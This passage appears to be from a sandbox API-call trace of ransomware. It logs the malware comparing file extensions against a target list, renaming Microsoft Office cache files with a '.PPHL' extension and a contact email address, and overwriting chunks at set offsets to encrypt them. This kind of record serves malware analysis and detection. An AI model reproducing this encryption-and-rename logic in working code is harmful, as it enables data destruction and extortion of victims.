(lpString1=".1cd", lpString2=".ttf") returned -1 [0060.579] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.579] lstrlenW (lpString=".jpg") returned 4 [0060.579] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.579] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.579] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.579] lstrlenW (lpString=".doc") returned 4 [0060.579] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.579] lstrlenW (lpString=".docx") returned 5 [0060.579] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.579] lstrlenW (lpString=".pdf") returned 4 [0060.579] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.579] lstrlenW (lpString=".xls") returned 4 [0060.579] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.579] lstrlenW (lpString=".xlsx") returned 5 [0060.579] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.579] lstrlenW (lpString=".ppt") returned 4 [0060.579] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.579] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.579] lstrlenW (lpString=".zip") returned 4 [0060.579] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.579] lstrlenW (lpString=".rar") returned 4 [0060.580] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.580] lstrlenW (lpString=".bz2") returned 4 [0060.580] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.580] lstrlenW (lpString=".7z") returned 3 [0060.580] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.580] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.580] lstrlenW (lpString=".dbf") returned 4 [0060.580] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.580] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.580] lstrlenW (lpString=".1cd") returned 4 [0060.580] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.580] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.580] lstrlenW (lpString=".jpg") returned 4 [0060.580] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.580] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0060.580] lstrlenW (lpString="PptLR.cab") returned 9 [0060.580] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.658] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=70361744) returned 1 [0060.658] CloseHandle (hObject=0x1a4) returned 1 [0060.659] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0060.659] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.660] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0060.661] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.661] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0x0) returned 1 [0060.662] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.662] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.692] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.693] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.714] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.714] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.714] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d60058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.979] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.979] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x351fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0060.994] SetEndOfFile (hFile=0x1a4) returned 1 [0060.994] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f93fc0 [0060.997] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.997] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.998] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.998] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.999] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.999] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f93fc0 | out: hHeap=0x5d0000) returned 1 [0061.001] CloseHandle (hObject=0x1a4) returned 1 [0063.842] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0063.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.842] lstrlenW (lpString=".doc") returned 4 [0063.842] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0063.842] lstrlenW (lpString=".docx") returned 5 [0063.842] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0063.842] lstrlenW (lpString=".pdf") returned 4 [0063.842] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0063.842] lstrlenW (lpString=".xls") returned 4 [0063.842] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0063.842] lstrlenW (lpString=".xlsx") returned 5 [0063.843] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0063.843] lstrlenW (lpString=".ppt") returned 4 [0063.843] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0063.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.843] lstrlenW (lpString=".zip") returned 4 [0063.843] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0063.843] lstrlenW (lpString=".rar") returned 4 [0063.843] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0063.843] lstrlenW (lpString=".bz2") returned 4 [0063.843] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0063.843] lstrlenW (lpString=".7z") returned 3 [0063.843] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0063.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.843] lstrlenW (lpString=".dbf") returned 4 [0063.843] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0063.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.843] lstrlenW (lpString=".1cd") returned 4 [0063.843] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0063.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.843] lstrlenW (lpString=".jpg") returned 4 [0063.843] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0063.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.843] lstrlenW (lpString=".doc") returned 4 [0063.843] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0063.843] lstrlenW (lpString=".docx") returned 5 [0063.843] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0063.843] lstrlenW (lpString=".pdf") returned 4 [0063.843] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0063.843] lstrlenW (lpString=".xls") returned 4 [0063.844] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0063.844] lstrlenW (lpString=".xlsx") returned 5 [0063.844] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0063.844] lstrlenW (lpString=".ppt") returned 4 [0063.844] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0063.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.844] lstrlenW (lpString=".zip") returned 4 [0063.844] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0063.844] lstrlenW (lpString=".rar") returned 4 [0063.844] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0063.844] lstrlenW (lpString=".bz2") returned 4 [0063.844] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0063.844] lstrlenW (lpString=".7z") returned 3 [0063.844] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0063.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.844] lstrlenW (lpString=".dbf") returned 4 [0063.844] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0063.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.844] lstrlenW (lpString=".1cd") returned 4 [0063.844] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0063.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0063.844] lstrlenW (lpString=".jpg") returned 4 [0063.844] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0063.844] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0063.845] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0063.845] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.845] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2865664) returned 1 [0063.845] CloseHandle (hObject=0x1a4) returned 1 [0063.845] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0063.845] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0063.845] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0063.846] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.846] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0x0) returned 1 [0063.846] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.846] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.212] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.212] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.237] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0064.237] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.237] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d60058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.269] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.270] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x351fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0064.633] SetEndOfFile (hFile=0x1a4) returned 1 [0064.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0064.637] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.637] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.638] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.639] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.644] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.644] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.646] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0064.646] CloseHandle (hObject=0x1a4) returned 1 [0066.420] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0066.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.421] lstrlenW (lpString=".doc") returned 4 [0066.421] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0066.421] lstrlenW (lpString=".docx") returned 5 [0066.421] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0066.421] lstrlenW (lpString=".pdf") returned 4 [0066.421] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0066.421] lstrlenW (lpString=".xls") returned 4 [0066.421] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0066.421] lstrlenW (lpString=".xlsx") returned 5 [0066.421] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0066.421] lstrlenW (lpString=".ppt") returned 4 [0066.421] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0066.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.421] lstrlenW (lpString=".zip") returned 4 [0066.421] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0066.421] lstrlenW (lpString=".rar") returned 4 [0066.421] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0066.421] lstrlenW (lpString=".bz2") returned 4 [0066.421] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0066.421] lstrlenW (lpString=".7z") returned 3 [0066.421] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0066.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.421] lstrlenW (lpString=".dbf") returned 4 [0066.422] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0066.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.422] lstrlenW (lpString=".1cd") returned 4 [0066.422] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0066.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.422] lstrlenW (lpString=".jpg") returned 4 [0066.422] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0066.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.422] lstrlenW (lpString=".doc") returned 4 [0066.422] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0066.422] lstrlenW (lpString=".docx") returned 5 [0066.422] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0066.422] lstrlenW (lpString=".pdf") returned 4 [0066.422] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0066.422] lstrlenW (lpString=".xls") returned 4 [0066.423] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0066.423] lstrlenW (lpString=".xlsx") returned 5 [0066.423] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0066.423] lstrlenW (lpString=".ppt") returned 4 [0066.423] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0066.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.423] lstrlenW (lpString=".zip") returned 4 [0066.423] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0066.423] lstrlenW (lpString=".rar") returned 4 [0066.423] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0066.423] lstrlenW (lpString=".bz2") returned 4 [0066.423] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0066.423] lstrlenW (lpString=".7z") returned 3 [0066.423] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0066.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.423] lstrlenW (lpString=".dbf") returned 4 [0066.423] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0066.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.423] lstrlenW (lpString=".1cd") returned 4 [0066.423] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0066.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0066.423] lstrlenW (lpString=".jpg") returned 4 [0066.423] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0066.424] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0066.424] lstrlenW (lpString="Proof.cab") returned 9 [0066.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0066.424] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=11482605) returned 1 [0066.424] CloseHandle (hObject=0x1a4) returned 1 [0066.424] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0066.424] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0066.424] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0066.846] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0066.846] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0x0) returned 1 [0066.846] 